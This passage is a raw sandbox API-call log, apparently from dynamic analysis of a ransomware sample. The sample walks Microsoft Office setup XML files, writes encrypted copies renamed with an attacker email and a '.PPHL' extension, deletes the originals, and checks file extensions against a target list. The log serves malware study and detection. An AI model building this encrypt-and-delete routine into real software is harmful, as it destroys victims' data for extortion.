"c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0068.703] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2dfff1c | out: lpFileSize=0x2dfff1c*=1452) returned 1 [0068.703] CloseHandle (hObject=0x1e8) returned 1 [0068.703] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml")) returned 0x20 [0068.703] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0068.703] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0068.703] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dffec8 | out: lpNewFilePointer=0x0) returned 1 [0068.703] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dffec8 | out: lpNewFilePointer=0x0) returned 1 [0068.703] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0068.704] GetLastError () returned 0x0 [0068.704] ReadFile (in: hFile=0x1e8, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dffed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2dffed4*=0x5ac, lpOverlapped=0x0) returned 1 [0068.786] WriteFile (in: hFile=0x1f0, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x2dffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2dffc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0068.787] ReadFile (in: hFile=0x1e8, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dffed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2dffed4*=0x0, lpOverlapped=0x0) returned 1 [0068.787] WriteFile (in: hFile=0x1f0, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2dffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2dffc9c*=0xe6, lpOverlapped=0x0) returned 1 [0068.787] SetEndOfFile (hFile=0x1f0) returned 1 [0068.788] CloseHandle (hObject=0x1f0) returned 1 [0068.789] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dffec8 | out: lpNewFilePointer=0x0) returned 1 [0068.789] SetEndOfFile (hFile=0x1e8) returned 1 [0068.790] CloseHandle (hObject=0x1e8) returned 1 [0068.790] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x20) returned 1 [0068.790] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml")) returned 1 [0068.790] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0068.790] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0068.790] lstrlenW (lpString=".doc") returned 4 [0068.790] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0068.790] lstrlenW (lpString=".docx") returned 5 [0068.791] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0068.791] lstrlenW (lpString=".pdf") returned 4 [0068.791] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0068.791] lstrlenW (lpString=".xls") returned 4 [0068.791] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0068.791] lstrlenW (lpString=".xlsx") returned 5 [0068.791] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0068.791] lstrlenW (lpString=".ppt") returned 4 [0068.791] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0068.791] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0068.791] lstrlenW (lpString=".zip") returned 4 [0068.791] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0068.791] lstrlenW (lpString=".rar") returned 4 [0068.791] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0068.791] lstrlenW (lpString=".bz2") returned 4 [0068.791] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0068.791] lstrlenW (lpString=".7z") returned 3 [0068.791] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0068.791] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0068.791] lstrlenW (lpString=".dbf") returned 4 [0068.791] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0068.791] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0068.791] lstrlenW (lpString=".1cd") returned 4 [0068.791] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0068.791] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0068.791] lstrlenW (lpString=".jpg") returned 4 [0068.791] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0068.791] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0068.791] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0068.792] lstrlenW (lpString=".doc") returned 4 [0068.792] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0068.792] lstrlenW (lpString=".docx") returned 5 [0068.792] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0068.792] lstrlenW (lpString=".pdf") returned 4 [0068.792] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0068.792] lstrlenW (lpString=".xls") returned 4 [0068.792] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0068.792] lstrlenW (lpString=".xlsx") returned 5 [0068.792] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0068.792] lstrlenW (lpString=".ppt") returned 4 [0068.792] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0068.792] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0068.792] lstrlenW (lpString=".zip") returned 4 [0068.792] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0068.792] lstrlenW (lpString=".rar") returned 4 [0068.792] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0068.792] lstrlenW (lpString=".bz2") returned 4 [0068.792] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0068.792] lstrlenW (lpString=".7z") returned 3 [0068.792] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0068.792] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0068.792] lstrlenW (lpString=".dbf") returned 4 [0068.792] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0068.792] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0068.792] lstrlenW (lpString=".1cd") returned 4 [0068.792] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0068.792] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0068.792] lstrlenW (lpString=".jpg") returned 4 [0068.792] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0068.793] lstrcmpiW (lpString1=".XML", lpString2=".PPHL") returned 1 [0068.793] lstrlenW (lpString="OfficeMUISet.XML") returned 16 [0068.793] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0069.654] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x2dfff1c | out: lpFileSize=0x2dfff1c*=819) returned 1 [0069.654] CloseHandle (hObject=0x20c) returned 1 [0069.654] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml")) returned 0x20 [0069.696] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0069.696] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0069.697] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dffec8 | out: lpNewFilePointer=0x0) returned 1 [0069.697] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dffec8 | out: lpNewFilePointer=0x0) returned 1 [0069.697] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0071.085] GetLastError () returned 0x0 [0071.085] ReadFile (in: hFile=0x1f8, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dffed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2dffed4*=0x333, lpOverlapped=0x0) returned 1 [0071.121] WriteFile (in: hFile=0x1f4, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x2dffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2dffc9c*=0x340, lpOverlapped=0x0) returned 1 [0071.458] ReadFile (in: hFile=0x1f8, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dffed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2dffed4*=0x0, lpOverlapped=0x0) returned 1 [0071.458] WriteFile (in: hFile=0x1f4, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x2dffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2dffc9c*=0xf4, lpOverlapped=0x0) returned 1 [0071.458] SetEndOfFile (hFile=0x1f4) returned 1 [0071.459] CloseHandle (hObject=0x1f4) returned 1 [0071.460] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dffec8 | out: lpNewFilePointer=0x0) returned 1 [0071.460] SetEndOfFile (hFile=0x1f8) returned 1 [0071.461] CloseHandle (hObject=0x1f8) returned 1 [0071.462] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x20) returned 1 [0071.462] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml")) returned 1 [0071.462] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0071.462] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0071.462] lstrlenW (lpString=".doc") returned 4 [0071.462] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0071.462] lstrlenW (lpString=".docx") returned 5 [0071.462] lstrcmpiW (lpString1=".docx", lpString2="t.XML") returned -1 [0071.464] lstrlenW (lpString=".pdf") returned 4 [0071.464] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0071.464] lstrlenW (lpString=".xls") returned 4 [0071.464] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0071.464] lstrlenW (lpString=".xlsx") returned 5 [0071.464] lstrcmpiW (lpString1=".xlsx", lpString2="t.XML") returned -1 [0071.464] lstrlenW (lpString=".ppt") returned 4 [0071.464] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0071.464] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0071.464] lstrlenW (lpString=".zip") returned 4 [0071.464] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0071.464] lstrlenW (lpString=".rar") returned 4 [0071.464] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0071.464] lstrlenW (lpString=".bz2") returned 4 [0071.464] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0071.465] lstrlenW (lpString=".7z") returned 3 [0071.465] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0071.465] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0071.465] lstrlenW (lpString=".dbf") returned 4 [0071.465] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0071.465] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0071.465] lstrlenW (lpString=".1cd") returned 4 [0071.465] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0071.466] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0071.466] lstrlenW (lpString=".jpg") returned 4 [0071.466] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0071.466] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0071.466] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0071.466] lstrlenW (lpString=".doc") returned 4 [0071.466] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0071.466] lstrlenW (lpString=".docx") returned 5 [0071.466] lstrcmpiW (lpString1=".docx", lpString2="t.XML") returned -1 [0071.466] lstrlenW (lpString=".pdf") returned 4 [0071.466] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0071.466] lstrlenW (lpString=".xls") returned 4 [0071.466] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0071.466] lstrlenW (lpString=".xlsx") returned 5 [0071.466] lstrcmpiW (lpString1=".xlsx", lpString2="t.XML") returned -1 [0071.466] lstrlenW (lpString=".ppt") returned 4 [0071.466] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0071.466] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0071.466] lstrlenW (lpString=".zip") returned 4 [0071.466] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0071.466] lstrlenW (lpString=".rar") returned 4 [0071.466] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0071.466] lstrlenW (lpString=".bz2") returned 4 [0071.466] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0071.466] lstrlenW (lpString=".7z") returned 3 [0071.466] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0071.467] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0071.467] lstrlenW (lpString=".dbf") returned 4 [0071.467] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0071.467] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0071.467] lstrlenW (lpString=".1cd") returned 4 [0071.467] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0071.467] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0071.467] lstrlenW (lpString=".jpg") returned 4 [0071.467] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0071.467] lstrcmpiW (lpString1=".XML", lpString2=".PPHL") returned 1 [0071.467] lstrlenW (lpString="SETUP.XML") returned 9 [0071.467] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0072.922] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2dfff1c | out: lpFileSize=0x2dfff1c*=4207) returned 1 [0072.922] CloseHandle (hObject=0x1fc) returned 1 [0072.922] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml")) returned 0x20 [0072.922] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0072.923] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0072.923] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dffec8 | out: lpNewFilePointer=0x0) returned 1 [0072.923] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dffec8 | out: lpNewFilePointer=0x0) returned 1 [0072.923] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0072.923] GetLastError () returned 0x0 [0072.923] ReadFile (in: hFile=0x1fc, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dffed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2dffed4*=0x106f, lpOverlapped=0x0) returned 1 [0072.958] WriteFile (in: hFile=0x1f8, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0x1070, lpNumberOfBytesWritten=0x2dffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2dffc9c*=0x1070, lpOverlapped=0x0) returned 1 [0072.959] ReadFile (in: hFile=0x1fc, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dffed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2dffed4*=0x0, lpOverlapped=0x0) returned 1 [0072.959] WriteFile (in: hFile=0x1f8, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2dffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2dffc9c*=0xe6, lpOverlapped=0x0) returned 1 [0072.959] SetEndOfFile (hFile=0x1f8) returned 1 [0072.959] CloseHandle (hObject=0x1f8) returned 1 [0072.960] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dffec8 | out: lpNewFilePointer=0x0) returned 1 [0072.960] SetEndOfFile (hFile=0x1fc) returned 1 [0072.960] CloseHandle (hObject=0x1fc) returned 1 [0072.961] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x20) returned 1 [0072.961] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml")) returned 1 [0072.961] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0072.961] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0072.961] lstrlenW (lpString=".doc") returned 4 [0072.961] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0072.961] lstrlenW (lpString=".docx") returned 5 [0072.961] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0072.961] lstrlenW (lpString=".pdf") returned 4 [0072.961] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0072.961] lstrlenW (lpString=".xls") returned 4 [0072.961] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0072.961] lstrlenW (lpString=".xlsx") returned 5 [0072.962] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0072.962] lstrlenW (lpString=".ppt") returned 4 [0072.962] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0072.962] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0072.962] lstrlenW (lpString=".zip") returned 4 [0072.962] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0072.962] lstrlenW (lpString=".rar") returned 4 [0072.962] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0072.962] lstrlenW (lpString=".bz2") returned 4 [0072.962] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0072.962] lstrlenW (lpString=".7z") returned 3 [0072.962] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0072.962] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0072.962] lstrlenW (lpString=".dbf") returned 4 [0072.962] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0072.962] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0072.962] lstrlenW (lpString=".1cd") returned 4 [0072.962] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0072.962] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0072.962] lstrlenW (lpString=".jpg") returned 4 [0072.962] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0072.963] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0072.963] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0072.963] lstrlenW (lpString=".doc") returned 4 [0072.963] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0072.963] lstrlenW (lpString=".docx") returned 5 [0072.963] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0072.963] lstrlenW (lpString=".pdf") returned 4 [0072.963] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0072.963] lstrlenW (lpString=".xls") returned 4 [0072.963] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0072.963] lstrlenW (lpString=".xlsx") returned 5 [0072.963] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0072.963] lstrlenW (lpString=".ppt") returned 4 [0072.963] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0072.963] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0072.963] lstrlenW (lpString=".zip") returned 4 [0072.963] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0072.963] lstrlenW (lpString=".rar") returned 4 